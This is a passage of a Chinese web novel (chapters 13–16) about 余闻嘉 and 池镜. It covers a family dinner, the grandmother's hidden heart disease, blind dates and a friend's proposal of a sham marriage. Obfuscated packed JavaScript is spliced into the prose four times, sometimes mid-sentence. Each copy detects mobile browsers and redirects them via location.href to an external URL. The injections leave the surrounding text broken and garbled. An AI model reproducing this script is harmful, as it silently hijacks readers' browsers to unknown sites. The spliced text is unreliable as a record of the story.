余闻嘉在看自己的论文PPT,盯着电脑屏幕头都没转一下:“咱们科里牛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105335|148595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人很多。”他手指搭在键盘上打了几个字,又道:“未来你也能这么牛。” 苏文看着演讲台笑了笑:“余师兄,其实我比你还大仨月呢。” 余闻嘉没留心苏文怎么知道自己的生日月份,看着屏幕漫不经心地回了一句:“那怎么,要我喊你声‘哥’?” “这我哪儿好意思,我就是感慨一下你年轻有为。” 会议开了一整天,中午有茶歇时间,余闻嘉一上午没看手机,午间休息的时候抽空看了眼,回了下消息。 余闻嘉没有聊天置顶,池镜的头像沉在消息栏很下面,他不常用微信,所以也不常在微信上找余闻嘉,有事会直接给他打电话。 自从那次家庭聚餐后,他没再跟池镜有过联系,连电话都没打过,已经有一个礼拜了。仔细想想挺可笑的,不管是当年还是现在,永远都是他在单方面闹别扭。 下午四点半,会议结束,齐云枫教授跟他医学界的一帮老友先行离场,科室里一伙人商量着晚上吃顿好的,李彻要请客。 “今天中午咱就吃得挺不错了。”有个研二的学生真情实感道,“我爱学术会议的茶歇!自助餐yyds!” “这就叫学术蝗虫吧。”有人拍拍他的胸口说。 “你也甭说我了。”他推开对方的手,“你中午也没少吃。” 会议一结束,氛围就轻松了不少,一帮人叽叽喳喳的,讨论着一会儿上哪儿吃晚饭。余闻嘉低头收拾东西,放在桌上的手机震了震,他抬眸一瞥,屏幕上弹出了池镜的消息。他立马拿起手机看了一眼。 -会议结束了吗? 余闻嘉打字回复:结束了。 又问:你怎么知道我今天有会? -听池明说的。 -一会儿去我家吃饭? 池镜可能还是不喜欢用微信交流,刚发完这条就打了通电话过来。他掐着点发的消息,应该是知道会议结束的时间。 “还在会场?”池镜问。 “你……今天没跟我姐去吃饭?” 池镜一愣:“你知道这事儿?” “我不知道。” 池镜笑了:“挺能睁眼说瞎话呢,怎么,你还想帮你表姐助攻呢。” “我怎么可能——”余闻嘉声音骤冷,旁边那帮人本来还在说说笑笑,闻声转过来看了他一眼,有点不明状况。 余闻嘉闭了下眼睛,沉默半晌,沉声道:“我怎么可能那么做。” “你对她没意思么。”余闻嘉不在意周围人的目光,平静地跟池镜通着话。 “你说呢,才见了一面就能有意思了?” “你的意思是多见几面就有意思了?” 池镜嗤笑一声,不知道该气该笑:“余闻嘉我发现你怎么比小时候混了?跟我说话越来越欠了。” “……我没。”余闻嘉压低了声音,“我错了。” 旁边一伙人惊恐地看着他。那三个字从他嘴里说出来太诡异了,本来嗓音就很低沉,还不带任何情绪,听着更诡异了,这跟谁猛男撒娇。 13.第 13 章 13 “原谅你了。”池镜握着方向盘拐了个道,“我快到会展中心了,跟我去家里吃饭么?” “嗯。” “我来接你,车停外面。” 池镜想找个离门口近的地方,今天会展中心的露天停车场上都是车,好在会议结束车子都陆陆续续驶离了。池镜堵在半道上,看着一群人乌泱泱地从会展中心走出来。他把车开到靠门口的位置,停好车等余闻嘉出来。 没过几分钟,余闻嘉跟在一帮人后面出来了,他今天穿了正装,一身挺括的黑色西装,很衬身材。池镜第一次见他穿正装,有种不一样的感觉。许是之前分别太久,好像在他眼里,余闻嘉一直都是记忆中的那个少年模样。其实回国那天他就已经发觉余闻嘉身上的种种变化,变成熟的不仅是身材,还有相貌气质。 他平时爱穿卫衣运动裤,学生气重,衬不出这么凌厉的气质,换了身正装就不一样了,英气逼人。 池镜按下双跳灯,余闻嘉朝他这边看过来。 与他同行之人也随之看向这边,李彻看到池镜有点意外,隔着老远的距离冲他挥手打招呼。坐车里打招呼显得敷衍,池镜开门下车,朝李彻笑了笑,点头致意。 余闻嘉在众人的目视之下上了池镜的车。 “今天穿挺帅。”池镜系上安全带,启动了车子,“你适合穿西装。” 余闻嘉对自己帅不帅的不是很在意,出门前也没照镜子,不知道自己什么样儿。池镜的评价让他罕见地对自我形象关注起来,他转头看了眼印在窗玻璃上的自己,检查仪容仪表。 池镜偏过头:“看什么呢?” 余闻嘉转头看着前方的车流,问池镜:“你觉得好看?” 池镜笑了声:“你穿什么不好看。” 余闻嘉小时候就是个漂亮小男孩,长大了自不必说,气质虽与儿时截然不同,但五官还是那个五官,只是褪去了青涩感,变得更凌厉了。他有一双很漂亮的桃花眼,很柔和的眼型,偏偏平常看人时总是一脸淡漠,眼神冷冷的,显出几分锐利之气。 余闻嘉从小到大听别人夸自己帅听多了,这种话也只有从池镜嘴里说出来,他心里才有波动。 余闻嘉之后就没再说话,车内很安静。池镜问他:“你怎么知道你表姐约我吃饭?她跟你说了?” “嗯。你怎么没去?” “拒绝了。” “为什么拒绝?” 池镜笑了笑:“不感兴趣的人,你会答应对方的邀约跟他一起出去吃饭?” “我看你们聚餐那天聊得挺好。” “是么,按你这么说,我跟谁聊得好就是对谁感兴趣了。”车子停在了红绿灯路口,池镜转头看着余闻嘉,“那我跟你聊得还挺好呢。” 池镜伸出手,食指在他额头上弹了一下:“好歹是名牌大学的博士高材生呢,讲话这么没逻辑。” 余闻嘉沉默了会儿,突然问:“那你对哪种类型的,人会感兴趣?” 池镜笑了声:“怎么问这个。” “好奇。” “目前来说不清楚。你这是个开放型问题,很难回答。”池镜打转向灯,变了个道,看着反光镜随口说了句:“我啊,其实没那方面的想法。” 余闻嘉转头看他一眼:“什么?” “没想过找对象,也没想过结婚。”池镜向右拐道,继续说着。 余闻嘉沉默片刻,问他:“原因?” “我不适合结婚,我的工作性质你应该知道。婚姻对我来说是牵绊。” “……你怎么就肯定一定是牵绊?” “因为爱就是牵绊。”池镜淡淡一笑,“或者说,爱是最大的牵绊,它太牵制人心了,会让很多东西变得脆弱,精神,意志,心理。” 余闻嘉沉默着。 池镜遥望远方车流,思绪也随之飘远,开口时声音变得缓而低沉:“我驻外第一年就经历过一次战乱,当时我出外勤,有颗子弹直接落在我眼前,那时候我就在想,我要是有一天不小心死在外面了怎么办,我妈我姥池明怎么办……” 池镜说这些的时候语气和神情很平静:“人想得多了精神就会变得脆弱,变得不集中。”他顿了一下,继续道:“少一点牵绊,会更轻松。” 池镜后来又辗转去过其他国家,环境不同,境遇不同,但心境是相似的。于他而言,肩上背负的责任和使命高于一切,所以他战战兢兢,如履薄冰。他不可能长久地留在这里,未来的日子跟亲人聚少离多必然是常态,为此牵绊越少越好。 余闻嘉第一次听池镜谈起这些,听得很认真。 他安静了很久,没有多言,只道:“我明白了。” 池镜失笑:“明白什么了你。” “镜哥。”余闻嘉低低地叫了声。 池镜转头看了他一眼。 “辛苦了。”余闻嘉说。 池母不知道今天林琅约了池镜,叫了池镜来家吃饭,池镜本来也不想去赴林琅的约,正好借此理由婉拒。聚餐那天林琅主动问他要了微信,当着那么多长辈的面他也不好意思让女士下不来台,就跟她加了好友。 余闻嘉他表姐是位很优秀的女性,知书有理,漂亮大方,池镜没想跟她怎么也不想吊着她,刚才坐车里等余闻嘉的时候,就直接把话跟人说清楚了。 对方回了条语音,说:没事儿,看来是没缘分。 池镜把余闻嘉领回家吃饭,池姥姥高兴坏了,余闻嘉从小就招她喜欢,长得漂漂亮亮的,又乖,又聪明。她家地方小,人一多在屋里转个身都困难,所以也不常请人来家里吃饭。余闻嘉小时候常来她家,长大后来得就少了。 今天家里做了好菜,姥姥最待见的嘉嘉来了,这一桌菜可没白烧。 余闻嘉一身正装,一进门就被池母和池姥姥围着夸。 池家的老房子重新翻修过了,重新改变了布局,刷了亮色调的漆,屋里亮堂堂的,房子面积没变,但整体看起来宽敞了不少。 客厅放了张折叠餐桌,展开来桌子还挺大,围着坐六七个人不是问题。 池母给余闻嘉盛了碗饭,问池镜:“池明呢?” “他有事,得晚点到。” “还回不回得来啊。”池母朝门外望了一眼,“回回说有事儿晚到,回回都没见他来。你们俩啊,一个赛一个的忙,唉……” “嘉嘉你吃菜,多吃点儿。”姥姥给余闻嘉夹菜,“忒瘦了,脸削尖削尖的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我对人家没想法我主动约人干什么呢。”池镜叹了口气,他不知道是不是自己离家太久了,所以姥姥对他成家这件事特别有执念,他姥姥以前也不这样,思想挺开明的一个老太太,从来不会摆长辈架子,逼着小辈干不想干的事儿。 “哎妈。”池母都看不过去了,“吃饭呢,别提这个了,你提了他们也烦。” 姥姥凝视池镜许久,欲言又止:“镜儿啊……你……” 姥姥眼里有话,池镜看着她:“怎么了?” 姥姥深深地看了他一眼,手按着他搭在桌上的胳膊,缓缓拍了两下。 “怎么了您说。” 姥姥表情严肃又认真,缓缓开口道:“你啊,要是喜欢男的,姥姥也是可以接受的。” 池明含在嘴里的一口汤差点喷出来,余闻嘉也噎了一下。 “真的,这点姥姥很开明的,你看现在俩男孩子也能结婚了是不?你要真有这方面的倾向,不能跟家里人瞒着,你得跟我们说。” 14.第 14 章 14 池镜低头摁了摁眉心,简直哭笑不得。 老太太刚才眼珠子滴溜溜地转,不知道在琢磨什么,谁能想到她琢磨那么远。同性可婚政策前几年就通过施行了,如今两个男人结婚早就不是什么稀罕事。 “您放心。”池镜对她说,“我要有这个意向,肯定不瞒着您。” 池明好不容易把那口汤咽下去了才低着头笑出来,偏过头在他哥耳边说:“我姥已经魔怔了。” “说啥呢!”老太太在他脑门上一拍,“我老了,耳朵还好使!” “我说您英明。”池明冲她竖了竖大拇指,“您老耳清目明,慧眼如炬,高瞻远瞩。指不定我哥还就喜欢男的呢。” 池明这一生就是挨他哥收拾的命,他用肩膀撞撞池镜,语气调侃:“到时候带个男老婆回来,皆大欢喜。” “吃你的菜。”池镜夹了块土豆放他碗里,池明嘴炮打得兴起,夹起来顺嘴吃了。此土豆乃姜块伪装,一口下去,冲鼻的姜味溢满口腔,池明含着姜块笑看他哥,笑得半死不活。 池明低头把姜吐了,他哥的手段幼稚归幼稚,攻击性倒是很强,那一口姜味在池明口中弥留很久,经久不散。 “多大人了。”池明把那块姜夹到池镜眼前,给当事人展示作案工具,“还这么幼稚。” “还能有人有你幼稚。”池母笑着说。 池明这一通臭贫,成功打散了姥姥的注意力,把老太太逗得直乐,都想不起来去管池镜了。 吃完饭池母去厨房切了点水果,余闻嘉接了通电话走进院子里。 姥姥吃过饭回房后好一阵没回来,池镜就去她屋里看了一眼。一进门看到老太太坐床上捂着胸口,气有点喘。 “怎么了您?”池镜忙走过去,“不舒服?” 姥姥摆摆手,笑道:“没事儿,就是有点心慌,我坐这缓一会儿就好。” 池镜皱着眉:“喘得上气吗?是不是不舒服?” “哎没有没有,我不一直这样么,多少年的老毛病了,没事儿。好久没这么高兴了,情绪激动了。”姥姥抚了抚他的胳膊,“真没事儿。” “过两天我得空带您去医院做个检查。” “哎,检查个啥呀,用不着,你一天天的忙那么多事,我这定期检查都做着呢,没事儿啊。” 池镜这两天也确实忙,腾不出时间,后天又要出国,他出去跟池明说:“最近抽个空带姥姥去医院做个检查,我过两天要出国,没时间。” 池明擦着桌子看他一眼:“怎么了?她身体不舒服?” “说是心慌。” 姥姥以前得过心脏上的病,十多年前做了手术治好了,心慌是一直有的。不过保险起见,池镜觉得还是要带她去做个深入检查。 “成,那我明天就带她去。” 池明收拾完进房间躺了一会儿,兄弟俩的卧室翻修时基本没动,还是小时候的布局,一张上下铺双人床,窗前摆着一张长桌。下铺是池镜的床,池明一进去就往他哥床上一躺,一晃经年,以前的小床早就搁不下他那无处安放的大长腿。池明也没脱鞋,两条腿挂在床尾的金属护栏上,胳膊掩面小憩片刻。 余闻嘉许久不来这里,一进来一瞬间竟有些恍惚。这间小屋没有任何变化,书桌,床铺,一切还是记忆中的样子。 池镜和池明平时基本不会回来住,但池母还是把他们的房间打扫得干干净净,床上铺着老旧但干净的床单,留着两个孩子过往的生活痕迹。 池镜床上是余闻嘉熟悉的老式花色床单,以前枕头旁边会挨着一个棕色小熊,如今小熊不在那儿了,可能是放起来了,也可能是扔掉了。那个小熊藏了一段余闻嘉不想回忆的回忆,如果是少时的他,这会儿可能又要噘着嘴跟池镜闹脾气,质问他把小熊放哪儿了。 “怎么都杵这儿。”池镜的声音从身后传来。 余闻嘉转身看了一眼,这屋太挤,一回头他都快跟池镜脸对脸了。 池镜手里拿了个果盘,笑着说:“待这屋不嫌挤啊。” “还好。”余闻嘉说。 池镜走过去踢了踢池明荡在床尾的脚:“刚吃完饭就睡我床上,一股味儿。” 池明声音疲惫:“累。没事儿,妈过两天就会给你洗的,这床单都给她洗得没颜色了。” 池镜把手里的果盘递到余闻嘉面前:“饭后水果,吃点儿。” 余闻嘉拿了颗小番茄,手气绝佳,一拿就拿了个酸掉天灵盖的。余闻嘉酸得闭了下眼睛,嚼吧嚼吧咽进去了。 “我刚吃几个都挺甜的啊。”池镜又吃了一个,还是甜的,“真挺甜,你再拿个尝尝。” “不尝了,手气不好,再挑个酸的,我明天该去看牙了。” 池镜顺手给余闻嘉拿了一颗,递他嘴边:“吃我拿的,我手气好。” 余闻嘉嘴唇动了动,垂眸看着池镜。 这在年少时于他们而言是很平常的举动。 余闻嘉很想告诉池镜,他们早已各自独立成熟,而正常两个男人之间一般是不会有这种举动的。 停在过去的是池镜,往前走、想挣开固有关系的是他。 不过现在这些都不重要了,他明白了池镜最看重什么,他不会再给他施加负担。 余闻嘉用手接下了池镜递到嘴边的小番茄。 他分辨不清这颗小番茄是甜的还是涩的。 “给我来点儿,哥。”池明躺床上张着嘴,眼睛闭着,像嗷嗷待哺的雏鸟。 池镜往他嘴里塞了两颗,池明嚼了嚼,还挺甜,睁开眼说:“手脚挺干净啊,倒是没往我嘴里塞两块姜。” “你要有这需求,我现在可以去帮你拿。” “我谢谢您了啊。”池明起身从果盘里插了两片哈密瓜吃。 三位个子不矮的成年男性杵在这么小的屋里,来回挪动都得贴着走,画面有点滑稽。尤其是余闻嘉,头都快顶到门框了,属他最占地方。 池母在外面喊,让他们别挤在屋里,来客厅看电视。 余闻嘉爷爷今天被老朋友叫去吃饭了,还没回来,家里没人在,余闻嘉在池家吃过晚饭,池镜就直接送他回学校了。 池明本来第二天要带他姥姥去医院做检查,姥姥没让,知道他忙,叫他别耽误自个儿工作。 “我让我助理带您去,不耽误我工作。”池明说。 “回头我让你妈带我去总成了吧,你甭操心了。” 池明想了想,说:“那成,有事您打我电话。” 老太太本来过几天就要去医院做检查,俩孙子监督得紧,就干脆今天去了。 余闻嘉上午查完房,回办公室的时候路过诊室,瞥见走廊尽头晃过池母和池姥姥的身影。他知道池姥姥以前得过心脏上的病,当时手术就是在他们医院做的,十多年了,当年给他做手术的老教授都退休了。 来医院无非是身体不舒服,可昨天老太太看着还好好的。 这个时间段是李彻坐诊,中午休息的时候余闻嘉特意问了一下李彻,提起池姥姥的名字,李彻就想起来了。 “怎么了,你跟人认识啊?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14130253|148595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “嗯。她是哪里有什么问题?” “风心病,三尖瓣反流,关闭不全。” 余闻嘉皱了皱眉。 “这老太太前一阵子就来过了,她这个是体检检出来,之前就是我给她下的报告。” 余闻嘉问李彻要了池姥姥的诊断报告单。 池姥姥十多年前得的风湿性心脏病,当年手术开胸换了二尖机械瓣,老太太每年都会定期复查,前段时间确诊三尖瓣少量反流和轻度关闭不全。 风湿性心脏病原就是慢性病,像这种做过手术又发病的情况并不少见。 目前来说池姥姥的症状不明显,但老人家年事已高,二次开胸的风险太大了,李彻建议保守治疗。老太太也不愿意再开一次胸,怕病没治好,人先倒在手术台上了。 李彻说老太太心态挺好,确诊了也挺坦然的,说自己已经多活十几年了,为这十几年她让不少人操心受罪。 目前看来池镜和池明应该还不知道这件事,之前就确诊了,说明老太太也不想让他们知道这件事。 不过这事最终还是没能瞒得了池镜。 当天晚上池镜就向他妈询问了检查情况,他妈自然是没说实话,老太太不愿意让俩小辈知道,已经瞒了有一阵了。 池镜当时被糊弄过去了,翌日飞往国外出差,工作结束后回来安生没几天,他妈又张罗着给他介绍姑娘,这次还是在没询问他意见的情况下私自安排的,一副赶鸭子上架的架势。 池镜对长辈瞎起劲搞事情一向很佛系,能冷处理就冷处理,但这次是真有点生气了,在电话里问他妈:“妈,你们能让我消停会儿吗?” 池镜冷着声音,明显不耐,池母话到嘴边被他堵回去了。 “你们万事是不是也该有个度?” 池镜情绪稳定,很少跟长辈说重话,池母沉默着,不知道该说什么。 池镜知道他妈所作所为都是姥姥授意,他看得出来他妈不急,急的是他姥姥。 想起前一阵姥姥去医院做检查,池镜突然皱了皱眉。 “妈,是不是姥姥生病了?” 池母一时间没说话,池镜沉声道:“这种事您还瞒我?” 沉默半晌后,池母叹了口气,跟池镜道出了实情。 池镜在小区地库,他上了楼,他妈就在家里等他,原打算盯着他去见相亲对象的。 姥姥的病,医生不建议手术,池镜自己心里也明白,保守治疗的确是更好的选择。 “你姥都这岁数了,哪还折腾得起再上次手术台,还是开胸手术。”池母给池镜倒了杯水,“你的工作你自己也知道,在这儿待不了几年又得走,她不得怕么?你现在不成家,过个几年走了,再过个几年回来,她到时候还在不在还两说。” 池母长叹一口气:“年纪大了,日子也一眼望到头了,什么也不记挂,就记挂你跟你弟。看不到你成家啊,她都没法儿安心闭眼。” 池镜皱着眉:“您说这不吉利的……” “都到这份上了还讲什么吉利不吉利的,这话你姥自个儿说的,她都不避讳你避讳什么。”池母按着他的肩膀,“这事也怪我,她着急,我也没在旁边劝着。回头我找个时间跟她好好聊,给她劝消停了。” “这事你也别让你姥知道你已经知道了,生病的事她不愁,但你要是知道这事,她指定愁。” 池镜垂着眼,沉默不语。 池母在他背上拍了一巴掌,是提醒也是安抚:“你不许有负担,人这一生都是定好的,走成什么样都是自己的命数。” 15.第 15 章 15 今晚的相亲去不去意义都不大了,本来背着池镜私下安排池母就挺心虚的,怕孩子不高兴。 “我跟女方那边的介绍人说一下,就说你临时有工作,把今天的见面推了吧。”池母说着拿起手机。 “约都约了,临时推掉人家心里怎么想,该说咱家不懂礼数了。” “那这……”池母一脸为难。 “我去一趟。”池镜说。 “那也好,去看看也好的呀,说不定这一个就有缘分呢。” 池镜看她一眼:“您以后别背着我干这种事了。” “好好好,我下不为例。” 晚上,池镜去约好的餐厅赴约,开车途中接到了他高中同学庄楚的电话,对方约他吃饭。 “今天周末,池处应该有空吧。”庄楚在电话那头问。 “不凑巧,今天还真没时间。” “又加班?” “没,一会儿要去相亲。” 庄楚沉默片刻,笑了一声:“是在跟我说笑?” “长辈安排的。” “听你这语气,像是被迫赴约。” 池镜笑了笑,声音略显疲惫:“不是被迫,我还能上赶着?” 庄楚笑了:“我猜也不可能。” “我还在开车,回头再聊。” “嗯,那过两天再约,到时候我再叫几个人,小聚一下。” 池镜“嗯”了一声。 刚从池母那儿知道实情,池镜心情难免有些沉重,晚上的见面也走过场般的很快就结束了。结束后他回了趟家,姥姥平时吃完晚饭看个一小时电视就会去睡觉了,今天可能是在等他相亲的消息,看完电视没有立刻回房,坐客厅里等着等着睡着了。 池镜进屋看到他姥姥歪着脑袋坐在沙发上,身上披着一条毛毯。厨房里有声音,应该是他妈在里面忙活。 池镜走过去帮他姥姥把毛毯往上拉了拉,姥姥头一点,醒了。 “镜儿啊。”姥姥按住他的手,迷迷瞪瞪的。 “嗯,姥。”池镜轻声道,“别睡这儿了,回屋吧。” “今天见的那姑娘,觉着怎么样啊?合眼缘不?” 池镜温和地笑笑,直言道:“不是我喜欢的。” “哎哟那你喜欢什么样儿的啊!” “等以后遇到了,我就知道了。”池镜蹲了下来,“到时候肯定告诉您。” 姥姥拍拍他的脸,喃喃道:“我都这岁数了,半截身子都入土了,还等不等得到哟……” 池母从厨房走了出来,看见池镜有点意外:“你怎么过来了?” “回来看看。”池镜说。 池母看了眼墙上的钟,时间还这么早,池镜这会儿就回来了,估计刚才又是去走了个过场。 “得了,您孙子都回来了,该回屋睡觉了吧?”池母走过来搀姥姥,“回头再着凉了折腾的还不是您自个儿?” 池母送姥姥回房睡觉,出来一脸无奈地对池镜说:“不肯回屋,非要在外头等着,等你那边来电话。” “她最近身体上有不舒服吗?” “我之前怎么跟你说来着?这事儿你甭想那么多,不许有负担,该干嘛干嘛去,别老放心上。”池母拍拍他的胳膊,“你姥啊,身体硬朗着呢,心脏上那都是老毛病了。再说我时时照看着呢,你把心放肚子里,还有这事也别跟你弟说,他那急脾气,今天说了明天就得上家来问他姥。” 池镜点了点头:“嗯。” 庄楚约了池镜后天吃饭,叫了几个高中的同学。池镜工作忙,庄楚之前约他几次都没约上。今天是老同学小聚,庄楚叫的人不多,订了个雅间,一桌就五个人,丁铭也去了。 池镜刚回国那阵跟庄楚一起吃过一顿饭,这些年他跟庄楚联系不多,上次见面之前,他们有好几年没见过了。庄楚现在是位金融分析师,事业有成,在业内名头响当当。他变化不大,还是当年那个样子,讲话慢条斯理的,嘴角总是挂着似有若无的笑。 “大忙人可算得闲了。”庄楚朝池镜举了举酒杯。 池镜回敬,喝了口酒,说:“主要是之前约得都不赶巧。” “那倒是。”庄楚点了下头,冲另几个人道,“前两天我就约了,赶巧他去相亲。” 除了丁铭,另外两个人都笑了起来。 “真的假的,扯淡呢吧,你什么条件啊,还用得着去相亲?”说话的是以前他们班学委。 池镜笑着没说话,丁铭在一旁补刀:“他相亲多了。” 庄楚看着池镜:“所以呢,结果如何?” 池镜说:“不如何。” “那就是没成呗。”学委摇摇头,“都是家里人催的吧?我家里也催,跟他们不住一块儿都躲不掉。” 丁铭看他一眼:“你不是有对象吗?” “我爸妈是催我结婚,我还没打算结呢。” “怎么,是不打算对人负责啊。”丁铭说。 “我是那种人么?恋爱是恋爱,结了婚性质就不一样了。” 丁铭眯了眯眼睛:“渣男话术。” “你滚。”学委笑了,“我跟我女朋友都不想结婚,又不是我单方面的想法。” 吃完饭庄楚邀大家去清吧喝酒,是他朋友投资的一家清吧,最近刚开业。丁铭家里有事,吃完饭就直接走了,没跟他们一起去酒吧。 四个人点了酒坐在吧台边,这里确实是实实在在的清吧,环境雅致,很有氛围,中央舞台上有驻唱歌手在唱歌,唱的都是慢节奏的民谣。 庄楚去跟他朋友打了个招呼,回来发现吧台那儿就坐了池镜一个人。 “那两个人呢?”庄楚坐下问他。 “一个去跟女朋友打电话了,另一个在那儿。”池镜指了指不远处一个小桌的方向,“跟人交流呢。” “外交官就是会说话,用词真文雅。”庄楚说,“是有目的的交流吧,俗称搭讪。” 池镜笑了笑,没说什么。 庄楚抿了口酒,看着小桌的方向,突然问池镜:“你怎么到现在还没找?” 池镜看了他一眼。 庄楚看向他:“我说对象。” “怎么问这个。” “是工作太忙?” “这只能算一部分原因。” “那另几部分呢?” 池镜笑了下:“今天讲话怎么了,不像你风格。” 庄楚莞尔一笑:“我讲话什么风格?” “不知道,但我知道你对别人的事一般都事不关己。” “这算是褒义评价还是贬义评价?” “中性。”池镜说。 “换个词,就是冷漠,是吗?”庄楚眼底带笑。 池镜笑着没说话,这人高中时就这样,用丁铭的话说就是像蛇,没什么温度。 庄楚接着刚才的话题,问池镜:“另几部分——是不是因为你自身不想找?” 他是个很敏锐的人,要猜到这一点不难。 “你没有结婚的意愿。”庄楚看着池镜说。 池镜还是没说话,他并不喜欢这种被凝视被看透的感觉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151435|148595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庄楚察觉出他的情绪,收回视线说:“抱歉,是我冒昧了。” 池镜很轻地叹了口气:“没有,用不着道歉。某种程度上你说的也没错。” 池镜像是心里有事,庄楚看着他:“怎么了?你今天看起来情绪不是很高。” 池镜随便找了个理由:“没怎么,相亲闹的。” “听你的意思,是经常要应付这种事?” 池镜扯了扯嘴角,勉强挤出个笑:“是。” “家里长辈这么急着你结婚成家?” 池镜撑着额角垂着头,他今天喝得有点多,情绪积在心口,稍微倾吐了一些:“老太太岁数大了……又生病了……” 庄楚端起酒杯抿了口酒,望着远处沉默了很久,突然问道:“那现在这种情况下,你还有结婚的意愿吗?” 池镜抬眸看了他一眼。 “我是指形式婚姻。我未来没有组成家庭的计划,但长辈那边也需要应付,如果你有意向——”庄楚顿了一下,忽而淡淡一笑,说了今晚最荒谬的一句话,“跟我形婚怎么样?” 池镜愣了一下,随即笑了:“喝多了你?” 庄楚晃了晃酒杯里的酒:“这么点酒我还不至于。” 接着他又说:“放心,只是形婚。这是对我们俩都有好处的解决方案,既能解决你的困境,也能解决我的。你可以认真考虑一下。” 他的确是个没什么温度的人,言语间仿佛在进行一场冰冷的交易,他提出建议前甚至没有细究池镜的“困境”。 池镜毕竟跟庄楚认识那么多年了,庄楚的性向他还是知道的,不过他毕业之后跟庄楚交集不多,不太了解他的感情状况,只听丁铭说他有交往过几个男人。 庄楚表情认真,不像是在开玩笑,他也不像是会拿这种事开玩笑的人,可能家长那边压力真的挺大的吧。 “我突然跟你说这些,你是不是以为我在开玩笑?”庄楚问池镜。 “这得问你了。”池镜说。 “我不开这种玩笑。如果你觉得可行,方案执行之后我会安排好一切。” 池镜几乎一秒也没考虑,笑了笑说:“谢谢你的‘方案’,不过还是算了吧。” 池镜的回答倒是在庄楚意料之内,他比较纳罕的是,池镜听到他的提议,反应竟然那么平淡,甚至说不上有多惊讶。 不过,被拒绝,不在意是真的,不甘心也是真的。 余闻嘉今天跟本科室友聚餐,吃完饭一伙人商量着找个地方玩玩。余闻嘉有一阵没见过池镜了,他知道池镜前不久出差了,但还不知道他回没回来。 自由的界定是模糊的,年少的时候总觉得长大了会更自由,长大以后才发现自由有着各种各样的界限。 余闻嘉年少时也有过毫无顾忌的一段时光。 那时候他很黏池镜,有事没事就会去家里找他,从来不会考虑那么多,也从来不会去想自己的行为是不是会越界。 那时候哪会想那么多,他只知道他喜欢跟池镜待在一起。 如今别说时时刻刻见面了,他连微信都很少主动发。过分在意界限,带来的就是无形的距离感。 余闻嘉跟在他几个室友后面,低着头给池镜发消息。 -还在出差? 半分钟后,池镜回复:回来了。 余闻嘉拿着手机不知道该回什么,本来他就是没话找话,他想了想,继续没话找话。 -在干什么? 池镜回:在酒吧喝酒。 余闻嘉皱了皱眉,顿时有话找话了:你去酒吧干什么。 16.第 16 章 16 这边池镜看着手机笑了一声,庄楚看他一眼,问:“笑什么?” 池镜说“没什么”,低着头回余闻嘉消息:参见上一条消息。 余闻嘉:干什么要去酒吧喝酒。 ——其实这才是余闻嘉想问的。 他以为池镜去的是那种很吵的夜店,表情越发严肃,停在饭店走廊里回消息,前面的室友一回头发现他人都在五米开外了。 余闻嘉直接给池镜打了个电话。 “喂?” “你喝酒可以换个地方,那种地方人员那么混杂,不要待在那儿。” 池镜无声笑了好一会儿,余闻嘉这一本正经的严肃腔调跟初中时候简直一模一样。 “不混杂,清吧,挺清静的。”池镜说,“再说我一个快三十的成年人了,你还担心我在酒吧遇到坏人?” 余闻嘉皱眉不语。 “领导”不发话,池镜轻笑道:“领导还不信呢。” “那我拍张照给余领导审查一下。”池镜拿手机拍了张酒吧的全景照,给余闻嘉发了过去。 余闻嘉点开看了一眼,的确是清吧的环境,光线幽暗,照片的背景墙上有酒吧的名字。 “领导放心了吗?”池镜问。 池镜今天喝得有点多,讲话拖着音调,声音听起来有点慵懒。 余闻嘉“嗯”了一声,突然说:“你喝多了。” “没有。”池镜笑了笑,“我喝多不是这样。” 前面室友在喊余闻嘉,余闻嘉对池镜说:“同学叫我,我先挂了,镜哥。” “嗯。” 余闻嘉在手机上搜了一下池镜去的那个清吧,走过去问他那几个室友:“去清吧喝酒吗?” “行啊。” 这家清吧不大,但环境很不错,装修一看就是耗了心思的,复古情调拉满,很有氛围。一进门室友就对余闻嘉说:“挺会找啊,这地儿不错。” 余闻嘉一眼就看到了坐在吧台边的池镜,穿着他日常最常穿的白衬衫,一边喝着酒,一边侧着头跟他旁边的人说话。 “这次学校的校庆,你们几个去吗?”学委问了句。 “校庆?咱高中?”另一个完全在状况外。 “啊,没看老同学群啊?” “早八百年前就退了,什么时候校庆?” “12月份。” 